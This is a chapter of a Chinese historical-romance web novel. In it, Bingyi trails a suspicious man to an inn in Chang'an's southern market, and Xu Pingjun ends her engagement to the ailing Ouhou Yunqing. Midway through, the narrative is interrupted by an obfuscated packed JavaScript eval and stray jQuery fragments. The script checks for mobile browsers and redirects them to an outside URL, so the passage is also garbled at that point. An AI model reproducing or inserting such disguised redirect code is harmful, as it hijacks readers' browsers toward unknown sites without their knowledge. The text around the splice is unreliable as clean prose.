23.方寸之地

作品:《南园遗爱

    病已这日去探望过欧侯云青,见他已经能够下地,心情舒畅,心里多了些安慰。


    欧侯云青给他倒了茶饮,问:“平君没和殿下一块儿来?”


    病已鲜少见他主动提起平君,有些如鲠在喉,道:“我也有几日未见她了。”


    云青的神色黯淡了些:“我也几日未见她,还以为她同殿下在一起游历长安呢。”


    自从那日他想让平君每日来见见他,她就从没出现过,欧侯云青等着等着,只能告诉自己平君一定是有事要忙才耽搁了。


    “她不同我一起,也有许多事要忙,或许今日和霍家小姐在一起。”病已道。


    云青听见霍成君的名号,不禁有几分窘迫,血气上涌,连咳了好几声。


    病已见状也不好再做打扰,请他好好休养之余,离开了欧侯家。


    路过许家,病已便去寻平君,这才知道平君不在家中。


    他便就离开掖庭去往西市,谁知在云裳坊没遇上平君,倒遇上霍成君。


    霍成君正拿着平君送过来的样式,一番教育着她新请的绣工。霍成君与平君的性格实是截然不同,病已好奇,这样两个截然不同的人是否真的能成为伙伴。


    “殿下?得闲来布坊?”霍成君见他来了,明艳笑道。


    病已当然知道,这是她又在揶揄他是个闲人,他也不在意,直问:“平君不在吗?”


    霍成君摇摇头:“或是回去了。”


    病已便又准备走,抬脚忽地想起来问:“这布坊什么时候正式开张?”


    “下月初三。”霍成君道:“殿下可赏脸来看看?”


    “闲人通常都不请自来。”病已说完,大步朝前走去。


    霍成君偷笑一声,看了病已的背影消失在门外,转头继续着对绣工们的要求。


    霍成君不知道,病已可知道,按平君的性子,她可不会就这样回宫,她恨不得把九市逛个够,再去少康酒肆偷饮几杯美酒。


    病已走在街市上,朝着酒肆的方向。


    但他还没寻到平君,却遇见了另一个熟悉的身影。


    是那日集会上的男人,男人快步在街道上穿梭,手上似乎受了伤,缠着纱布。


    看样子,他并不是漫无目的的在街市上闲逛,而是有意图的行为,病已快步跟在他身后,随着忙碌的人流,两人离开西市,进入南市。


    南市多南方而来的客商,市井之间卖精巧玩意儿的东西多,商贾云集,虽不比东西市繁华,也热闹非凡。


    男人的脚步很快,几乎快失去踪迹,也幸亏病已对南市熟悉,这才能一直跟着他,直到他进了一家客栈。


    这客栈名云来,是幢两层楼的木质建筑,风格朴素,比不上朝廷官方设立的客栈,但却是往来客商入住的首选。


    鄂邑公主封地在南边的江夏郡,可那地方并不富庶,更不是个商贾之地,更何况,堂堂皇室成员,为何要与商贾为伍?病已不禁好奇这个男人来这里的目的,他是否想在南市再掀波澜。


    从集会绑架以及樊福身亡两件事来看,他完全有理由提防着公主府的这种异动。


    但他还没来得及进入客栈,已经被人叫住。


    “殿下,皇曾孙殿下!”来人正是邴吉。


    病已寻声看见他,觉得他精神抖擞,健步如飞,比几年前所见身子骨更显硬朗了些,浓眉大眼的模样意气风发,却仍有自己幼时所见的内秀之感。


    “邴大人。近来可好?”病已说的虽是疑问句,但却用的是肯定的口气。


    邴吉走近了,先好好看了看病已,这才说:“我可好得很。殿下倒长高了许多,模样也长开了,将来定是个俊秀公子!”


    邴吉现任大将军长史,先前由于匈奴的异动,前去五原郡驻守了一阵,此时回长安不久,正由萧望之带着游览五市风光。


    病已将目光移开,正落在邴吉身边的萧望之身上,见此人三十来岁的年纪,风度翩翩,细长温润的眉眼,五官方正有棱角,是端正的君子之相。


    邴吉主动介绍:“这位是太常寺郎官萧望之,他休沐,特带我游历长安。”


    病已便主动向萧望之问好,心想这云来客栈之事,只能另找机会再查。


    病已和平君,最终是在东市遇见的。


    那时平君正从少康酒肆出来,手里还拿着刘贺送过来的礼物。礼物是一套犀牛角酒杯,她生平没见过这样精巧的东西,欢喜之余,还得了些纹样的灵感,便和董行一起将酒杯小心装好,准备拿回宫给病已看看。


    此时直接在东市看见病已,平君心里既激动又兴奋,一副欲言又止的模样,小脸晶莹剔透,映着阳光的光泽。


    病已见了她也眉眼舒展,自己说话的语气都不由得柔了几分。


    邴吉火眼如炬,看出了两人之间不一样的情绪,便拉着萧望之继续往前,不再打扰病已。


    他略微回头看着这二人,只觉有种金风玉露一相逢的感受。士与女,方秉蕑兮。维士与女,伊其相谑,赠之以勺药。


    他仰头而笑。


    平君快步跑上来:“病已!昌邑王给我们送礼物了!”


    病已见着她,径自浅浅笑着,任她拉着自己入了酒肆,将环金犀牛角杯展现在自己面前。


    “皇叔真乃神人也。”病已道:“真不知他从哪儿弄这么多好物件。”


    “喝一杯?”平君笑问。


    “你说了算。”


    平君便去取了酒,她又成为了宫外的平君,浑身充满活力。


    “还有一件事。”平君小声道:“我今天打听到一个不得了的消息,公主府那个男人,是鄂邑公主的情夫!”


    病已一口酒没喝好差点呛到,他咳着咳着,倒也明白刘弗陵含糊其辞的原因了,或许刘弗陵早就知道此人与鄂邑公主的关系,只是因为他还不想彻底与鄂邑公主撕破脸,才没有直接下令严惩,才想着以他的方式敲打这位公主。


    他果然,还是有些忌惮霍光的。


    那恐怕,霍光保不住胡建,又或者,霍光已经预判到了皇帝可能的心思,才特意把胡建推出来,只为做一个弃子?


    病已其实不喜欢这种为达目的牺牲他人的方式,在他眼中,没有权力地位的高低,只有人命的生死。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15406537|164820||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>“平君,你先回宫,我需去一个地方。”病已想到云来客栈,决定还是要去打探一番。


    “去哪里,我同你一起?”


    “不必,我去就好。”


    见病已表情严肃,平君知道自己确实不便跟着,只道了声:“小心,我在家等你。”


    听言,病已的眼神在平君身上停留的片刻,他觉得平君的面容仿若一道射进他心里的亮色,轻声道:“好。”


    平君提着犀牛角酒杯回到掖庭,正好见医者从欧侯家出来,她放下东西,终于来看了看欧侯云青。


    欧侯云青正躺在床榻上,见平君来了,连忙起身相迎。


    这一急,他便又开始咳了,他这咳不似呛着,间隙里还有喘息之音。


    “云青,没事吧?”平君关切道。


    “我没事,平君,你终于来了。”欧侯云青笑着。


    平君却没有笑,她的表情有些凝重,手捏着衣角,她顿了顿,终于抬头直视欧侯云青:“云青,你们家对我们家有恩,其实我还记着,大家一同在掖庭长大,这份情谊我也记着,但你是否真的想清楚,认为你可以做我的夫君?”


    云青一愣,面色变得窘迫:“你是什么意思?”


    “你对我,可有男女之情?”


    云青没想到她问得这么直接,他捂着胸口,急忙说道:“以前我确实对你有些冷淡,但所谓患难见真情,平君,你这样为我,我又怎能视若无睹?”


    “所以,你不过是觉得我适合做你的妻子,不是吗?”平君红着脸,她的下巴因为紧张而抖动,双手把衣角都攥出了褶皱。


    就算如此,她也有些话不得不问出口。


    欧侯云青感到诧异。他印象中,许平君总是那样“好欺负”的,她从不急眼,逆来顺受,安静贤淑,但明明是个女儿身,又总是和病已还有彭祖混迹在市井。


    可他今日才见了,平君远不为他知的果敢,他这才幡然领悟,他原来从没真正认识平君。


    为何平君可以和皇后有着平淡如水却细水长流的情谊,为何平君可以酿造惊艳长安的荆桃酒,为何昌邑王刘贺会亲自来掖庭与她道别,为何她可以让霍成君甘心解救自己,为何她看似不紧不慢无欲无求,却得到了自己终日想得到的东西?


    他与平君,真的不是一路人。


    欧侯云青眼中的神色黯淡了些,如烛灯快要燃尽无力挣扎,他终于不得不承认:“平君,你不愿嫁给我。”


    “云青,你会有你真正的妻子的,但那不是我。”平君真诚道:“放下我们的婚约,迎接自由吧。”


    云青坐回了床榻之上,他的脸色变得惨白,在他终于意识到平君的好的时候,平君却已经放弃了他。


    他觉得胸口一阵疼痛,又剧烈咳嗽了一阵。


    平君给他递过水,他却望着平君纤白的手指,第一次觉得陌生。


    “你走吧。”他说:“你放心,我不会强娶你。”


    平君听言松了一口气,她把水杯塞到云青手里,认真地说:“云青,我希望我们这些人都能得到幸福,掖庭的孩子,不会拘泥于这方寸之地。”